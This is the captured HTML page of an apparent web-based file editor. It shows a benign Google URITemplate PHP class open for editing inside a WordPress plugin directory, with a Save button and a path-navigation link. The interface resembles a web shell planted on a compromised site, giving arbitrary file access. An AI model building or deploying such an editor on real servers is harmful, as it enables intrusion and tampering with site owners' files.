<p style='color:red'>❌ domains folder not found.</p><h2>✏️ Editing: URITemplate.php</h2><form method='post'>
        <textarea name='content' rows='20' cols='100'>&lt;?php
/*
 * Copyright 2013 Google Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the &quot;License&quot;);
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an &quot;AS IS&quot; BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

/**
 * Implementation of levels 1-3 of the URI Template spec. 
 * @see http://tools.ietf.org/html/rfc6570
 */
class W3TCG_Google_Utils_URITemplate
{
  const TYPE_MAP = &quot;1&quot;;
  const TYPE_LIST = &quot;2&quot;;
  const TYPE_SCALAR = &quot;4&quot;;

  /**
   * @var $operators array 
   * These are valid at the start of a template block to
   * modify the way in which the variables inside are
   * processed.
   */
  private $operators = array(
      &quot;+&quot; =&gt; &quot;reserved&quot;,
      &quot;/&quot; =&gt; &quot;segments&quot;,
      &quot;.&quot; =&gt; &quot;dotprefix&quot;,
      &quot;#&quot; =&gt; &quot;fragment&quot;,
      &quot;;&quot; =&gt; &quot;semicolon&quot;,
      &quot;?&quot; =&gt; &quot;form&quot;,
      &quot;&amp;&quot; =&gt; &quot;continuation&quot;
  );

  /**
   * @var reserved array
   * These are the characters which should not be URL encoded in reserved
   * strings.
   */
  private $reserved = array(
      &quot;=&quot;, &quot;,&quot;, &quot;!&quot;, &quot;@&quot;, &quot;|&quot;, &quot;:&quot;, &quot;/&quot;, &quot;?&quot;, &quot;#&quot;,
      &quot;[&quot;, &quot;]&quot;,'$', &quot;&amp;&quot;, &quot;'&quot;, &quot;(&quot;, &quot;)&quot;, &quot;*&quot;, &quot;+&quot;, &quot;;&quot;
  );
  private $reservedEncoded = array(
    &quot;%3D&quot;, &quot;%2C&quot;, &quot;%21&quot;, &quot;%40&quot;, &quot;%7C&quot;, &quot;%3A&quot;, &quot;%2F&quot;, &quot;%3F&quot;,
    &quot;%23&quot;, &quot;%5B&quot;, &quot;%5D&quot;, &quot;%24&quot;, &quot;%26&quot;, &quot;%27&quot;, &quot;%28&quot;, &quot;%29&quot;,
    &quot;%2A&quot;, &quot;%2B&quot;, &quot;%3B&quot;
  );

  public function parse($string, array $parameters)
  {
    return $this-&gt;resolveNextSection($string, $parameters);
  }

  /**
   * This function finds the first matching {...} block and
   * executes the replacement. It then calls itself to find
   * subsequent blocks, if any. 
   */
  private function resolveNextSection($string, $parameters)
  {
    $start = strpos($string, &quot;{&quot;);
    if ($start === false) {
      return $string;
    }
    $end = strpos($string, &quot;}&quot;);
    if ($end === false) {
      return $string;
    }
    $string = $this-&gt;replace($string, $start, $end, $parameters);
    return $this-&gt;resolveNextSection($string, $parameters);
  }

  private function replace($string, $start, $end, $parameters)
  {
    // We know a data block will have {} round it, so we can strip that.
    $data = substr($string, $start + 1, $end - $start - 1);

    // If the first character is one of the reserved operators, it effects
    // the processing of the stream.
    if (isset($this-&gt;operators[$data[0]])) {
      $op = $this-&gt;operators[$data[0]];
      $data = substr($data, 1);
      $prefix = &quot;&quot;;
      $prefix_on_missing = false;

      switch ($op) {
        case &quot;reserved&quot;:
          // Reserved means certain characters should not be URL encoded
          $data = $this-&gt;replaceVars($data, $parameters, &quot;,&quot;, null, true);
          break;
        case &quot;fragment&quot;:
          // Comma separated with fragment prefix. Bare values only.
          $prefix = &quot;#&quot;;
          $prefix_on_missing = true;
          $data = $this-&gt;replaceVars($data, $parameters, &quot;,&quot;, null, true);
          break;
        case &quot;segments&quot;:
          // Slash separated data. Bare values only.
          $prefix = &quot;/&quot;;
          $data =$this-&gt;replaceVars($data, $parameters, &quot;/&quot;);
          break;
        case &quot;dotprefix&quot;:
          // Dot separated data. Bare values only.
          $prefix = &quot;.&quot;;
          $prefix_on_missing = true;
          $data = $this-&gt;replaceVars($data, $parameters, &quot;.&quot;);
          break;
        case &quot;semicolon&quot;:
          // Semicolon prefixed and separated. Uses the key name
          $prefix = &quot;;&quot;;
          $data = $this-&gt;replaceVars($data, $parameters, &quot;;&quot;, &quot;=&quot;, false, true, false);
          break;
        case &quot;form&quot;:
          // Standard URL format. Uses the key name
          $prefix = &quot;?&quot;;
          $data = $this-&gt;replaceVars($data, $parameters, &quot;&amp;&quot;, &quot;=&quot;);
          break;
        case &quot;continuation&quot;:
          // Standard URL, but with leading ampersand. Uses key name.
          $prefix = &quot;&amp;&quot;;
          $data = $this-&gt;replaceVars($data, $parameters, &quot;&amp;&quot;, &quot;=&quot;);
          break;
      }

      // Add the initial prefix character if data is valid.
      if ($data || ($data !== false &amp;&amp; $prefix_on_missing)) {
        $data = $prefix . $data;
      }

    } else {
      // If no operator we replace with the defaults.
      $data = $this-&gt;replaceVars($data, $parameters);
    }
    // This is chops out the {...} and replaces with the new section.
    return substr($string, 0, $start) . $data . substr($string, $end + 1);
  }

  private function replaceVars(
      $section,
      $parameters,
      $sep = &quot;,&quot;,
      $combine = null,
      $reserved = false,
      $tag_empty = false,
      $combine_on_empty = true
  ) {
    if (strpos($section, &quot;,&quot;) === false) {
      // If we only have a single value, we can immediately process.
      return $this-&gt;combine(
          $section,
          $parameters,
          $sep,
          $combine,
          $reserved,
          $tag_empty,
          $combine_on_empty
      );
    } else {
      // If we have multiple values, we need to split and loop over them.
      // Each is treated individually, then glued together with the
      // separator character.
      $vars = explode(&quot;,&quot;, $section);
      return $this-&gt;combineList(
          $vars,
          $sep,
          $parameters,
          $combine,
          $reserved,
          false, // Never emit empty strings in multi-param replacements
          $combine_on_empty
      );
    }
  }
 
  public function combine(
      $key,
      $parameters,
      $sep,
      $combine,
      $reserved,
      $tag_empty,
      $combine_on_empty
  ) {
    $length = false;
    $explode = false;
    $skip_final_combine = false;
    $value = false;

    // Check for length restriction.
    if (strpos($key, &quot;:&quot;) !== false) {
      list($key, $length) = explode(&quot;:&quot;, $key);
    }
    
    // Check for explode parameter.
    if ($key[strlen($key) - 1] == &quot;*&quot;) {
      $explode = true;
      $key = substr($key, 0, -1);
      $skip_final_combine = true;
    }
    
    // Define the list separator.
    $list_sep = $explode ? $sep : &quot;,&quot;;
    
    if (isset($parameters[$key])) {
      $data_type = $this-&gt;getDataType($parameters[$key]);
      switch($data_type) {
        case self::TYPE_SCALAR:
          $value = $this-&gt;getValue($parameters[$key], $length);
          break;
        case self::TYPE_LIST:
          $values = array();
          foreach ($parameters[$key] as $pkey =&gt; $pvalue) {
            $pvalue = $this-&gt;getValue($pvalue, $length);
            if ($combine &amp;&amp; $explode) {
              $values[$pkey] = $key . $combine . $pvalue;
            } else {
              $values[$pkey] = $pvalue;
            }
          }
          $value = implode($list_sep, $values);
          if ($value == '') {
            return '';
          }
          break;
        case self::TYPE_MAP:
          $values = array();
          foreach ($parameters[$key] as $pkey =&gt; $pvalue) {
            $pvalue = $this-&gt;getValue($pvalue, $length);
            if ($explode) {
              $pkey = $this-&gt;getValue($pkey, $length);
              $values[] = $pkey . &quot;=&quot; . $pvalue; // Explode triggers = combine.
            } else {
              $values[] = $pkey;
              $values[] = $pvalue;
            }
          }
          $value = implode($list_sep, $values);
          if ($value == '') {
            return false;
          }
          break;
      }
    } else if ($tag_empty) {
      // If we are just indicating empty values with their key name, return that.
      return $key;
    } else {
      // Otherwise we can skip this variable due to not being defined.
      return false;
    }

    if ($reserved) {
      $value = str_replace($this-&gt;reservedEncoded, $this-&gt;reserved, $value);
    }

    // If we do not need to include the key name, we just return the raw
    // value.
    if (!$combine || $skip_final_combine) {
      return $value;
    }
        
    // Else we combine the key name: foo=bar, if value is not the empty string.
    return $key . ($value != '' || $combine_on_empty ? $combine . $value : '');
  }
  
  /**
   * Return the type of a passed in value
   */
  private function getDataType($data)
  {
    if (is_array($data)) {
      reset($data);
      if (key($data) !== 0) {
        return self::TYPE_MAP;
      }
      return self::TYPE_LIST;
    }
    return self::TYPE_SCALAR;
  }
  
  /**
   * Utility function that merges multiple combine calls
   * for multi-key templates.
   */
  private function combineList(
      $vars,
      $sep,
      $parameters,
      $combine,
      $reserved,
      $tag_empty,
      $combine_on_empty
  ) {
    $ret = array();
    foreach ($vars as $var) {
      $response = $this-&gt;combine(
          $var,
          $parameters,
          $sep,
          $combine,
          $reserved,
          $tag_empty,
          $combine_on_empty
      );
      if ($response === false) {
        continue;
      }
      $ret[] = $response;
    }
    return implode($sep, $ret);
  }
  
  /**
   * Utility function to encode and trim values
   */
  private function getValue($value, $length)
  {
    if ($length) {
      $value = substr($value, 0, $length);
    }
    $value = rawurlencode($value);
    return $value;
  }
}
</textarea><br>
        <input type='submit' name='content_save' value='💾 Save'>
        </form>
        <hr><a href='?go=%2Fhome%2Fmba%2Fpublic_html%2Fwp-content-20250804013034%2Fplugins%2Fw3-total-cache%2Flib%2FGoogle%2FUtils'>🔙 Back</a>